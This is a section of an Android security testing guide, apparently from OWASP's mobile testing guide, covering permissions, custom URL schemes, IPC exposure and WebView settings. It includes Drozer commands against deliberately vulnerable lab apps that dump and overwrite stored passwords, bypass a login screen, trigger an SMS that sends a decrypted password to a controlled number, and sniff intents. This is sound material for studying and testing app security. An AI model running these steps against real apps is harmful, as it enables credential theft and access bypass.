Testing App Permissions

Overview

Android assigns a distinct system identity (Linux user ID and group ID) to every installed app. Because each Android app operates in a process sandbox, apps must explicitly request access to resources and data that are outside their sandbox. They request this access by declaring the permissions they need to use system data and features. Depending on how sensitive or critical the data or feature is, the Android system will grant the permission automatically or ask the user to approve the request.

Android permissions are classified into four different categories on the basis of the protection level they offer:

• Normal: This permission gives apps access to isolated application-level features with minimal risk to other apps, the user, and the system. For apps targeting SDK 23 or higher, these permissions are granted automatically at install time. For apps targeting a lower SDK, the user needs to approve them at install time. Example: android.permission.INTERNET

• Dangerous: This permission usually gives the app control over user data or control over the device in a way that impacts the user. This type of permission may not be granted at installation time; whether the app should have the permission may be left for the user to decide. Example: android.permission.RECORD_AUDIO

• Signature: This permission is granted only if the requesting app was signed with the same certificate used to sign the app that declared the permission. If the signature matches, the permission will be granted automatically. This permission is granted at install time. Example: android.permission.ACCESS_MOCK_LOCATION

• SystemOrSignature: This permission is granted only to applications embedded in the system image or signed with the same certificate used to sign the application that declared the permission. Example: android.permission.ACCESS_DOWNLOAD_MANAGER

A list of all permissions is in the Android developer documentation.

Activity Permission Enforcement

Permissions are applied via android:permission attribute within the <activity> tag in the manifest. These permissions restrict which applications can start that Activity. The permission is checked during Context.startActivity() and Activity.startActivityForResult(). Not holding the required permission results in a SecurityException being thrown from the call.

Service Permission Enforcement

Permissions applied via android:permission attribute within the <service> tag in the manifest restrict who can start or bind to the associated Service. The permission is checked during Context.startService(), Context.stopService() and Context.bindService(). Not holding the required permission results in a SecurityException being thrown from the call.

Broadcast Permission Enforcement

Permissions applied via android:permission attribute within the <receiver> tag restrict access to send broadcasts to the associated BroadcastReceiver. The held permissions are checked after Context.sendBroadcast() returns, while trying to deliver the sent broadcast to the given receiver. Please note failure to hold proper permissions doesn't throw an exception, the result is an unsent broadcast.

A permission can be supplied to Context.registerReceiver() to control who can broadcast to a programmatically registered receiver. Going the other way, a permission can be supplied when calling Context.sendBroadcast() to restrict which broadcast receivers are allowed to receive the broadcast.

Note that both a receiver and a broadcaster can require a permission. When this happens, both permission checks must pass for the intent to be delivered to the associated target. For more information, please reference Restricting broadcasts with permissions.

Content Provider Permission Enforcement

Permissions applied via android:permission attribute within the <provider> tag restrict access to data in a ContentProvider. Content providers have an important additional security facility called URI permissions which is described next. Unlike the other components, ContentProviders have two separate permission attributes that can be set, android:readPermission restricts who can read from the provider, and android:writePermission restricts who can write to it. If a ContentProvider is protected with both read and write permissions, holding only the write permission does not also grant read permissions.

The permissions are checked when you first retrieve a provider (if you don't have either permission, a SecurityException is thrown), and as you perform operations on the provider. Using ContentResolver.query() requires holding the read permission; using ContentResolver.insert(), ContentResolver.update(), ContentResolver.delete() requires the write permission. In all of these cases, not holding the required permission results in a SecurityException being thrown from the call.

Permissions are checked when you first retrieve a provider and as operations are performed using the ContentProvider. Using ContentResolver.query() requires holding the read permission; using ContentResolver.insert(), ContentResolver.update(), ContentResolver.delete() requires the write permission. A SecurityException will be thrown from the call if proper permissions are not held in all these cases.

Content Provider URI Permissions

The standard permission system is not sufficient when being used with content providers. For example a content provider may want to limit permissions to READ permissions in order to protect itself, while using custom URIs to retrieve information. An application should only have the permission for that specific URI.

The solution is per-URI permissions. When starting or returning a result from an activity, the method can set Intent.FLAG_GRANT_READ_URI_PERMISSION and/or Intent.FLAG_GRANT_WRITE_URI_PERMISSION. This grants permission to the activity for the specific URI regardless if it has permissions to access to data from the content provider.

This allows a common capability-style model where user interaction drives ad-hoc granting of fine-grained permission. This can be a key facility for reducing the permissions needed by apps to only those directly related to their behavior. Without this model in place malicious users may access other member's email attachments or harvest contact lists for future use via unprotected URIs. In the manifest the android:grantUriPermissions attribute or the node help restrict the URIs.

Documentation for URI permissions

​grantUriPermission(), [revokeUriPermission()](https://developer.android.com/reference/android/content/Context#revokeUriPermission(android.net.Uri, int)), and [checkUriPermission()](https://developer.android.com/reference/android/content/Context#checkUriPermission(android.net.Uri, int, int, int)).

Custom Permissions

Android allows apps to expose their services/components to other apps. Custom permissions are required for app access to the exposed components. You can define custom permissions in AndroidManifest.xml by creating a permission tag with two mandatory attributes:

• android:name and

• android:protectionLevel.

It is crucial to create custom permissions that adhere to the Principle of Least Privilege: permission should be defined explicitly for its purpose, with a meaningful and accurate label and description.

Below is an example of a custom permission called START_MAIN_ACTIVITY, which is required when launching the TEST_ACTIVITY Activity.

The first code block defines the new permission, which is self-explanatory. The label tag is a summary of the permission, and the description is a more detailed version of the summary. You can set the protection level according to the types of permissions that will be granted. Once you've defined your permission, you can enforce it by adding it to the application's manifest. In our example, the second block represents the component that we are going to restrict with the permission we created. It can be enforced by adding the android:permission attributes.

<permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"
        android:label="Start Activity in myapp"
        android:description="Allow the app to launch the activity of myapp app, any app you grant this permission will be able to launch main activity by myapp app."
        android:protectionLevel="normal" />
​
<activity android:name="TEST_ACTIVITY"
    android:permission="com.example.myapp.permission.START_MAIN_ACTIVITY">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER"/>
     </intent-filter>
</activity>

Once the permission START_MAIN_ACTIVTY has been created, apps can request it via the uses-permission tag in the AndroidManifest.xml file. Any application granted the custom permission START_MAIN_ACTIVITY can then launch the TEST_ACTIVITY. Please note <uses-permission android:name="myapp.permission.START_MAIN_ACTIVITY"/> must be declared before the <application> or an exception will occur at runtime. Please see the example below that is based on the permission overview and manifest-intro.

<manifest>
<uses-permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"/>
        <application>
            <activity>
            </activity>
        </application>
</manifest>

Static Analysis

Android Permissions

Check permissions to make sure that the app really needs them and remove unnecessary permissions. For example, the INTERNET permission in the AndroidManifest.xml file is necessary for an Activity to load a web page into a WebView. Because a user can revoke an application's right to use a dangerous permission, the developer should check whether the application has the appropriate permission each time an action is performed that would require that permission.

<uses-permission android:name="android.permission.INTERNET" />

Go through the permissions with the developer to identify the purpose of every permission set and remove unnecessary permissions.

Besides going through the AndroidManifest.xml file manually, you can also use the Android Asset Packaging tool to examine permissions.

$ aapt d permissions com.owasp.mstg.myapp
uses-permission: android.permission.WRITE_CONTACTS
uses-permission: android.permission.CHANGE_CONFIGURATION
uses-permission: android.permission.SYSTEM_ALERT_WINDOW
uses-permission: android.permission.INTERNAL_SYSTEM_WINDOW

Please reference this permissions overview for descriptions of the listed permissions that are considered dangerous.

READ_CALENDAR, WRITE_CALENDAR, READ_CALL_LOG, WRITE_CALL_LOG, PROCESS_OUTGOING_CALLS, CAMERA, READ_CONTACTS, WRITE_CONTACTS, GET_ACCOUNTS, ACCESS_FINE_LOCATION, ACCESS_COARSE_LOCATION, RECORD_AUDIO, READ_PHONE_STATE, READ_PHONE_NUMBERS, CALL_PHONE, ANSWER_PHONE_CALLS, ADD_VOICEMAIL, USE_SIP, BODY_SENSORS, SEND_SMS, RECEIVE_SMS, READ_SMS, RECEIVE_WAP_PUSH, RECEIVE_MMS, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE.

Custom Permissions

Apart from enforcing custom permissions via the application manifest file, you can also check permissions programmatically. This is not recommended, however, because it is more error-prone and can be bypassed more easily with, e.g., runtime instrumentation. It is recommended that the ContextCompat.checkSelfPermission() method is called to check if an activity has a specified permission. Whenever you see code like the following snippet, make sure that the same permissions are enforced in the manifest file.

private static final String TAG = "LOG";
int canProcess = checkCallingOrSelfPermission("com.example.perm.READ_INCOMING_MSG");
if (canProcess != PERMISSION_GRANTED)
throw new SecurityException();

Or with ContextCompat.checkSelfPermission() which compares it to the manifest file.

if (ContextCompat.checkSelfPermission(secureActivity.this, Manifest.READ_INCOMING_MSG)
        != PackageManager.PERMISSION_GRANTED) {
            //!= stands for not equals PERMISSION_GRANTED
            Log.v(TAG, "Permission denied");
        }

Requesting Permissions

If your application has permissions that need to be requested at runtime, the application must call a requestPermissions() method in order to obtain them. The app passes the permissions needed and an integer request code you have specified to the user asynchronously, returning once the user chooses to accept or deny the request in the same thread. After the response is returned the same request code is passed to the app's callback method.

private static final String TAG = "LOG";
// We start by checking the permission of the current Activity
if (ContextCompat.checkSelfPermission(secureActivity.this,
        Manifest.permission.WRITE_EXTERNAL_STORAGE)
        != PackageManager.PERMISSION_GRANTED) {
​
    // Permission is not granted
    // Should we show an explanation?
    if (ActivityCompat.shouldShowRequestPermissionRationale(secureActivity.this,
        //Gets whether you should show UI with rationale for requesting permission.
        //You should do this only if you do not have permission and the permission requested rationale is not communicated clearly to the user.
            Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
        // Asynchronous thread waits for the users response.
        // After the user sees the explanation try requesting the permission again.
    } else {
        // Request a permission that doesn't need to be explained.
        ActivityCompat.requestPermissions(secureActivity.this,
                new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE},
                MY_PERMISSIONS_REQUEST_WRITE_EXTERNAL_STORAGE);
        // MY_PERMISSIONS_REQUEST_WRITE_EXTERAL_STORAGE will be the app-defined int constant.
        // The callback method gets the result of the request.
    }
} else {
    // Permission already granted debug message printed in terminal.
    Log.v(TAG, "Permission already granted.");
}

Please note that if you need to provide any information or explanation to the user it needs to be done before the call to requestPermissions(), since the system dialog box can not be altered once called.

Handling the permissions response

Now your app has to override the system method onRequestPermissionsResult() to see if the permission was granted. This is where the same request code is passed that was created in requestPermissions().

The following callback method may be used for WRITE_EXTERNAL_STORAGE.

@Override //Needed to override system method onRequestPermissionsResult()
public void onRequestPermissionsResult(int requestCode, //requestCode is what you specified in requestPermissions()
        String permissions[], int[] permissionResults) {
    switch (requestCode) {
        case MY_PERMISSIONS_WRITE_EXTERNAL_STORAGE: {
            if (grantResults.length > 0
                && permissionResults[0] == PackageManager.PERMISSION_GRANTED) {
                // 0 is a cancelled request, if int array equals requestCode permission is granted.
            } else {
                // permission denied code goes here.
                Log.v(TAG, "Permission denied");
            }
            return;
        }
        // Other switch cases can be added here for multiple permission checks.
    }
}

Permissions should be explicitly requested for every needed permission, even if a similar permission from the same group may change in the future. Also permissions may be granted without user approval automatically.

For example if both READ_EXTERNAL_STORAGE and WRITE_EXTERNAL_STORAGE are listed in the app manifest but only permissions are granted for READ_EXTERNAL_STORAGE, then requesting WRITE_LOCAL_STORAGE will automatically have permissions without user interaction because they are in the same group and not explicitly requested.

Permisson Analysis

Always check whether the application is requesting permissions it actually needs. Make sure that no permissions are requested which are not related to the goal of the app. For instance: a single-player game that requires access to android.permission.WRITE_SMS, might not be a good idea.

Dynamic Analysis

Permissions for installed applications can be retrieved with Drozer. The following extract demonstrates how to examine the permissions used by an application and the custom permissions defined by the app:

dz> run app.package.info -a com.android.mms.service
Package: com.android.mms.service
  Application Label: MmsService
  Process Name: com.android.phone
  Version: 6.0.1
  Data Directory: /data/user/0/com.android.mms.service
  APK Path: /system/priv-app/MmsService/MmsService.apk
  UID: 1001
  GID: [2001, 3002, 3003, 3001]
  Shared Libraries: null
  Shared User ID: android.uid.phone
  Uses Permissions:
  - android.permission.RECEIVE_BOOT_COMPLETED
  - android.permission.READ_SMS
  - android.permission.WRITE_SMS
  - android.permission.BROADCAST_WAP_PUSH
  - android.permission.BIND_CARRIER_SERVICES
  - android.permission.BIND_CARRIER_MESSAGING_SERVICE
  - android.permission.INTERACT_ACROSS_USERS
  Defines Permissions:
  - None

When Android applications expose IPC components to other applications, they can define permissions to control which applications can access the components. For communication with a component protected by a normal or dangerous permission, Drozer can be rebuilt so that it includes the required permission:

$ drozer agent build  --permission android.permission.REQUIRED_PERMISSION

Note that this method can't be used for signature level permissions because Drozer would need to be signed by the certificate used to sign the target application.

When doing the dynamic analysis: validate whether the permission requisted by the app is actually necessary for the app. For instance: a single-player game that requires access to android.permission.WRITE_SMS, might not be a good idea.

Testing Custom URL Schemes

Overview

Both Android and iOS allow inter-app communication via custom URL schemes. These custom URLs allow other applications to perform specific actions within the application that offers the custom URL scheme. Custom URIs can begin with any scheme prefix, and they usually define an action to take within the application and parameters for that action.

Consider this contrived example: sms://compose/to=your.boss@company.com&message=I%20QUIT!&sendImmediately=true. When a victim clicks such a link on a mobile device, the vulnerable SMS application will send the SMS message with the maliciously crafted content. This could lead to

• financial loss for the victim if messages are sent to premium services or

• disclosure of the victim's phone number if messages are sent to predefined addresses that collect phone numbers.

Once a URL scheme has been defined, multiple apps can register for any available scheme. For every application, each of these custom URL schemes must be enumerated and the actions they perform must be tested.

URL schemes can be used for deep linking, a widespread and convenient way to launch a native mobile app via a link, which isn't inherently risky. Alternatively, since Android 6 App links can be used.

Nevertheless, data that's processed by the app and comes in through URL schemes should be validated as any content:

• When using reflection-based persistence type of data processing, check the section "Testing Object Persistence" for Android.

• Using the data for queries? Make sure you make parameterized queries.

• Using the data to do authenticated actions? Make sure that the user is in an authenticated state before the data is processed.

• If tampering of the data will influence the result of the calculations: add an HMAC to the data.

Static Analysis

Determine whether custom URL schemes are defined. This can be done in the AndroidManifest.xml file, inside of an intent-filter element.

<activity android:name=".MyUriActivity">
  <intent-filter>
      <action android:name="android.intent.action.VIEW" />
      <category android:name="android.intent.category.DEFAULT" />
      <category android:name="android.intent.category.BROWSABLE" />
      <data android:scheme="myapp" android:host="path" />
  </intent-filter>
</activity>

The example above specifies a new URL scheme called myapp://. The category browsable will allow the URI to be opened within a browser.

Data can then be transmitted through this new scheme with, for example, the following URI: myapp://path/to/what/i/want?keyOne=valueOne&keyTwo=valueTwo. Code like the following can be used to retrieve the data:

Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
  Uri uri = intent.getData();
  String valueOne = uri.getQueryParameter("keyOne");
  String valueTwo = uri.getQueryParameter("keyTwo");
}

Verify the usage of toUri, which may also be used in this context.

Dynamic Analysis

To enumerate URL schemes within an app that can be called by a web browser, use the Drozer module scanner.activity.browsable:

dz> run scanner.activity.browsable -a com.google.android.apps.messaging
Package: com.google.android.apps.messaging
  Invocable URIs:
    sms://
    mms://
  Classes:
    com.google.android.apps.messaging.ui.conversation.LaunchConversationActivity

You can call custom URL schemes with the Drozer module app.activity.start:

dz> run app.activity.start  --action android.intent.action.VIEW --data-uri "sms://0123456789"

When used to call a defined schema (myapp://someaction/?var0=string&var1=string), the module may also be used to send data to the app, as in the example below.

Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
  Uri uri = intent.getData();
  String valueOne = uri.getQueryParameter("var0");
  String valueTwo = uri.getQueryParameter("var1");
}

Defining and using your own URL scheme can be risky in this situation if data is sent to the scheme from an external party and processed in the app. Therefore keep in mind that data should be validated as described in "Testing custom URL schemes."

Testing for Sensitive Functionality Exposure Through IPC

Overview

During implementation of a mobile application, developers may apply traditional techniques for IPC (such as using shared files or network sockets). The IPC system functionality offered by mobile application platforms should be used because it is much more mature than traditional techniques. Using IPC mechanisms with no security in mind may cause the application to leak or expose sensitive data.

The following is a list of Android IPC Mechanisms that may expose sensitive data:

• ​Binders​

• ​Services​

• ​Bound Services​

• ​AIDL​

• ​Intents​

• ​Content Providers​

Static Analysis

We start by looking at the AndroidManifest.xml, where all activities, services, and content providers included in the source code must be declared (otherwise the system won't recognize them and they won't run). Broadcast receivers can be declared in the manifest or created dynamically. You will want to identify elements such as

• ​<intent-filter>​

• ​<service>​

• ​<provider>​

• ​<receiver>​

An "exported" activity, service, or content can be accessed by other apps. There are two common ways to designate a component as exported. The obvious one is setting the export tag to true android:exported="true". The second way involves defining an <intent-filter> within the component element (<activity>, <service>, <receiver>). When this is done, the export tag is automatically set to "true." To prevent all other Android apps from interacting with the IPC component element, be sure that the android:exported="true" value and an <intent-filter> aren't in their AndroidManifest.xml files unless this is necessary.

Remember that using the permission tag (android:permission) will also limit other applications' access to a component. If your IPC is intended to be accessible to other applications, you can apply a security policy with the <permission> element and set a proper android:protectionLevel. When android:permission is used in a service declaration, other applications must declare a corresponding <uses-permission> element in their own manifest to start, stop, or bind to the service.

For more information about the content providers, please refer to the test case "Testing Whether Stored Sensitive Data Is Exposed via IPC Mechanisms" in chapter "Testing Data Storage."

Once you identify a list of IPC mechanisms, review the source code to see whether sensitive data is leaked when the mechanisms are used. For example, content providers can be used to access database information, and services can be probed to see if they return data. Broadcast receivers can leak sensitive information if probed or sniffed.

In the following, we use two example apps and give examples of identifying vulnerable IPC components:

• ​"Sieve"​

• ​"Android Insecure Bank"​

Activities

Inspect the AndroidManifest

In the "Sieve" app, we find three exported activities, identified by <activity>:

<activity android:excludeFromRecents="true" android:label="@string/app_name" android:launchMode="singleTask" android:name=".MainLoginActivity" android:windowSoftInputMode="adjustResize|stateVisible">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_file_select" android:name=".FileSelectActivity"/>
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_pwlist" android:name=".PWList"/>

Inspect the source code

By inspecting the PWList.java activity, we see that it offers options to list all keys, add, delete, etc. If we invoke it directly, we will be able to bypass the LoginActivity. More on this can be found in the dynamic analysis below.

Services

Inspect the AndroidManifest

In the "Sieve" app, we find two exported services, identified by <service>:

<service android:exported="true" android:name=".AuthService" android:process=":remote"/>
<service android:exported="true" android:name=".CryptoService" android:process=":remote"/>

Inspect the source code

Check the source code for the class android.app.Service:

By reversing the target application, we can see that the service AuthService provides functionality for changing the password and PIN-protecting the target app.

   public void handleMessage(Message msg) {
            AuthService.this.responseHandler = msg.replyTo;
            Bundle returnBundle = msg.obj;
            int responseCode;
            int returnVal;
            switch (msg.what) {
                ...
                case AuthService.MSG_SET /*6345*/:
                    if (msg.arg1 == AuthService.TYPE_KEY) /*7452*/ {
                        responseCode = 42;
                        if (AuthService.this.setKey(returnBundle.getString("com.mwr.example.sieve.PASSWORD"))) {
                            returnVal = 0;
                        } else {
                            returnVal = 1;
                        }
                    } else if (msg.arg1 == AuthService.TYPE_PIN) {
                        responseCode = 41;
                        if (AuthService.this.setPin(returnBundle.getString("com.mwr.example.sieve.PIN"))) {
                            returnVal = 0;
                        } else {
                            returnVal = 1;
                        }
                    } else {
                        sendUnrecognisedMessage();
                        return;
                    }

Broadcast Receivers

Inspect the AndroidManifest

In the "Android Insecure Bank" app, we find a broadcast receiver in the manifest, identified by <receiver>:

<receiver android:exported="true" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
    <intent-filter>
        <action android:name="theBroadcast"/>
    </intent-filter>
</receiver>

Inspect the source code

Search the source code for strings like sendBroadcast, sendOrderedBroadcast, and sendStickyBroadcast. Make sure that the application doesn't send any sensitive data.

If an Intent is broadcasted and received within the application only, LocalBroadcastManager can be used to prevent other apps from receiving the broadcast message. This reduces the risk of leaking sensitive information.

To understand more about what the receiver is intended to do, we have to go deeper in our static analysis and search for usage of the class android.content.BroadcastReceiver and the Context.registerReceiver method, which is used to dynamically create receivers.

The following extract of the target application's source code shows that the broadcast receiver triggers transmission of an SMS message containing the user's decrypted password.

public class MyBroadCastReceiver extends BroadcastReceiver {
  String usernameBase64ByteString;
  public static final String MYPREFS = "mySharedPreferences";
​
  @Override
  public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub
​
        String phn = intent.getStringExtra("phonenumber");
        String newpass = intent.getStringExtra("newpass");
​
    if (phn != null) {
      try {
                SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
                final String username = settings.getString("EncryptedUsername", null);
                byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
                usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
                final String password = settings.getString("superSecurePassword", null);
                CryptoClass crypt = new CryptoClass();
                String decryptedPassword = crypt.aesDeccryptedString(password);
                String textPhoneno = phn.toString();
                String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
                SmsManager smsManager = SmsManager.getDefault();
                System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);

BroadcastReceivers should use the android:permission attribute; otherwise, other applications can invoke them. You can use Context.sendBroadcast(intent, receiverPermission); to specify permissions a receiver must have to read the broadcast. You can also set an explicit application package name that limits the components this Intent will resolve to. If left as the default value (null), all components in all applications will be considered. If non-null, the Intent can match only the components in the given application package.

Dynamic Analysis

You can enumerate IPC components with Drozer. To list all exported IPC components, use the module app.package.attacksurface:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

Content Providers

The "Sieve" application implements a vulnerable content provider. To list the content providers exported by the Sieve app, execute the following command:

dz> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.FileBackupProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys

Content providers with names like "Passwords" and "Keys" are prime suspects for sensitive information leaks. After all, it wouldn't be good if sensitive keys and passwords could simply be queried from the provider!

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sieve.DBContentProvider/Keys from pid=4268, uid=10054 requires com.mwr.example.sieve.READ_KEYS, or grantUriPermission()

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password          | pin  |
| SuperPassword1234 | 1234 |

This content provider can be accessed without permission.

dz> run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "pin=1234" --string  Password "newpassword"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password    | pin  |
| newpassword | 1234 |

Activities

To list activities exported by an application, use the module app.activity.info. Specify the target package with -a or omit the option to target all apps on the device:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

Enumerating activities in the vulnerable password manager "Sieve" shows that the activity com.mwr.example.sieve.PWList is exported with no required permissions. It is possible to use the module app.activity.start to launch this activity.

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

Since the activity is called directly in this example, the login form protecting the password manager would be bypassed, and the data contained within the password manager could be accessed.

Services

Services can be enumerated with the Drozer module app.service.info:

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.AuthService
    Permission: null
  com.mwr.example.sieve.CryptoService
    Permission: null

To communicate with a service, you must first use static analysis to identify the required inputs.

Because this service is exported, you can use the module app.service.send to communicate with the service and change the password stored in the target application:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg  6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
  what: 4
  arg1: 42
  arg2: 0
  Empty

Broadcast Receivers

Broadcasts can be enumerated via the Drozer module app.broadcast.info. The target package should be specified via the -a parameter:

dz> run app.broadcast.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
  com.android.insecurebankv2.MyBroadCastReceiver
    Permission: null

In the example app "Android Insecure Bank", one broadcast receiver is exported without requiring any permissions, indicating that we can formulate an intent to trigger the broadcast receiver. When testing broadcast receivers, you must also use static analysis to understand the functionality of the broadcast receiver, as we did before.

With the Drozer module app.broadcast.send, we can formulate an intent to trigger the broadcast and send the password to a phone number within our control:

dz>  run app.broadcast.send --action theBroadcast --extra string phonenumber 07123456789 --extra string newpass 12345

This generates the following SMS:

Updated Password from: SecretPassword@ to: 12345

Sniffing Intents

If an Android application broadcasts intents without setting a required permission or specifying the destination package, the intents can be monitored by any application that runs on the device.

To register a broadcast receiver to sniff intents, use the Drozer module app.broadcast.sniff and specify the action to monitor with the --action parameter:

dz> run app.broadcast.sniff  --action theBroadcast
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.
​
Action: theBroadcast
Raw: Intent { act=theBroadcast flg=0x10 (has extras) }
Extra: phonenumber=07123456789 (java.lang.String)
Extra: newpass=12345 (java.lang.String)

Testing JavaScript Execution in WebViews

Overview

JavaScript can be injected into web applications via reflected, stored, or DOM-based Cross-Site Scripting (XSS). Mobile apps are executed in a sandboxed environment and don't have this vulnerability when implemented natively. Nevertheless, WebViews may be part of a native app to allow web page viewing. Every app has its own WebView cache, which isn't shared with the native Browser or other apps. On Android, WebViews use the WebKit rendering engine to display web pages, but the pages are stripped down to minimal functions, for example, pages don't have address bars. If the WebView implementation is too lax and allows usage of JavaScript, JavaScript can be used to attack the app and gain access to its data.

Static Analysis

The source code must be checked for usage and implementations of the WebView class. To create and use a WebView, you must create an instance of the WebView class.

WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("https://www.owasp.org/");

Various settings can be applied to the WebView (activating/deactivating JavaScript is one example). JavaScript is disabled by default for WebViews and must be explicitly enabled. Look for the method setJavaScriptEnabled to check for JavaScript activation.

webview.getSettings().setJavaScriptEnabled(true);

This allows the WebView to interpret JavaScript. It should be enabled only if necessary to reduce the attack surface to the app. If JavaScript is necessary, you should make sure that

• the communication to the endpoints consistently relies on HTTPS (or other protocols that allow encryption) to protect HTML and JavaScript from tampering during transmission

• JavaScript and HTML are loaded locally, from within the app data directory or from trusted web servers only.

To remove all JavaScript source code and locally stored data, clear the WebView's cache with clearCache() when the app closes.

Devices running platforms older than Android 4.4 (API level 19) use a version of WebKit that has several security issues. As a workaround, the app must confirm that WebView objects display only trusted content if the app runs on these devices.

Dynamic Analysis

Dynamic Analysis depends on operating conditions. There are several ways to inject JavaScript into an app's WebView:

• Stored Cross-Site Scripting vulnerabilities in an endpoint; the exploit will be sent to the mobile app's WebView when the user navigates to the vulnerable function.

• Attacker takes a man-in-the-middle (MITM) position and tampers with the response by injecting JavaScript.

• Malware tampering with local files that are loaded by the WebView.

To address these attack vectors, check the following:

• All functions offered by the endpoint should be free of stored XSS.

• Only files that are in the app data directory should be rendered in a WebView (see test case "Testing for Local File Inclusion in WebViews").

• The HTTPS communication must be implemented according to best practices to avoid MITM attacks. This means:

  • all communication is encrypted via TLS (see test case "Testing for Unencrypted Sensitive Data on the Network"),

  • the certificate is checked properly (see test case "Testing Endpoint Identify Verification"), and/or

  • the certificate should be pinned (see "Testing Custom Certificate Stores and SSL Pinning").

Testing WebView Protocol Handlers

Overview

Several default schemas are available for Android URLs. They can be triggered within a WebView with the following:

• http(s)://

• file://

• tel://

WebViews can load remote content from an endpoint, but they can also load local content from the app data directory or external storage. If the local content is loaded, the user shouldn't be able to influence the filename or the path used to load the file, and users shouldn't be able to edit the loaded file.

Static Analysis

Check the source code for WebView usage. The following WebView settings control resource access:

• setAllowContentAccess: Content URL access allows WebViews to load content from a content provider installed on the system, which is enabled by default .

• setAllowFileAccess: Enables and disables file access within a WebView. File access is enabled by default. Note that this enables and disables file system access only. Asset and resource access is unaffected and accessible via file:///android_asset and file:///android_res.

• setAllowFileAccessFromFileURLs: Does or does not allow JavaScript running in the context of a file scheme URL to access content from other file scheme URLs. The default value is true for API level 15 (Ice Cream Sandwich) and below and false for API level 16 (Jelly Bean) and above.

• setAllowUniversalAccessFromFileURLs: Does or does not allow JavaScript running in the context of a file scheme URL to access content from any origin. The default value is true for API level 15 (Ice Cream Sandwich) and below and false for API level 16 (Jelly Bean) and above.

If one or more of the above methods is/are activated, you should determine whether the method(s) is/are really necessary for the app to work properly.

If a WebView instance can be identified, find out whether local files are loaded with the loadURL() method.

WebView = new WebView(this);
webView.loadUrl("file:///android_asset/filename.html");

The location from which the HTML file is loaded must be verified. If the file is loaded from external storage, for example, the file is readable and writable by everyone. This is considered a bad practice. Instead, the file should be placed in the app's assets directory.

webview.loadUrl("file:///" +
Environment.getExternalStorageDirectory().getPath() +
"filename.html");

The URL specified in loadURL should be checked for dynamic parameters that can be manipulated; their manipulation may lead to local file inclusion.

Use the following code snippet and best practices to deactivate protocol handlers, if applicable:

//If attackers can inject script into a WebView, they could access local resources. This can be prevented by disabling local file system access, which is enabled by default. You can use the Android WebSettings class to disable local file system access via the public method `setAllowFileAccess`.
webView.getSettings().setAllowFileAccess(false);
​
webView.getSettings().setAllowFileAccessFromFileURLs(false);
​
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);
​
webView.getSettings().setAllowContentAccess(false);

• Create a whitelist that defines local and remote web pages and protocols that are allowed to be loaded.

• Create checksums of the local HTML/JavaScript files and check them while the app is starting up. Minify JavaScript files to make them harder to read.

Dynamic Analysis

To identify the usage of protocol handlers, look for ways to trigger phone calls and ways to access files from the file system while you're using the app.

Determining Whether Java Objects Are Exposed Through WebViews

Overview

Android offers a way for JavaScript executed in a WebView to call and use native functions of an Android app: addJavascriptInterface.

The addJavascriptInterface method allows you to expose Java Objects to WebViews. When you use this method in an Android app, JavaScript in a WebView can invoke the Android app's native methods.

Before Android 4.2 Jelly Bean (API Level 17), a vulnerability was discovered in the implementation of addJavascriptInterface: a reflection that leads to remote code execution when malicious JavaScript is injected into a WebView.

This vulnerability was fixed by API Level 17, and the access to Java Object methods granted to JavaScript was changed. When you use addJavascriptInterface, methods of Java Objects are only accessible to JavaScript when the annotation @JavascriptInterface is added. Before API Level 17, all Java Object methods were accessible by default.

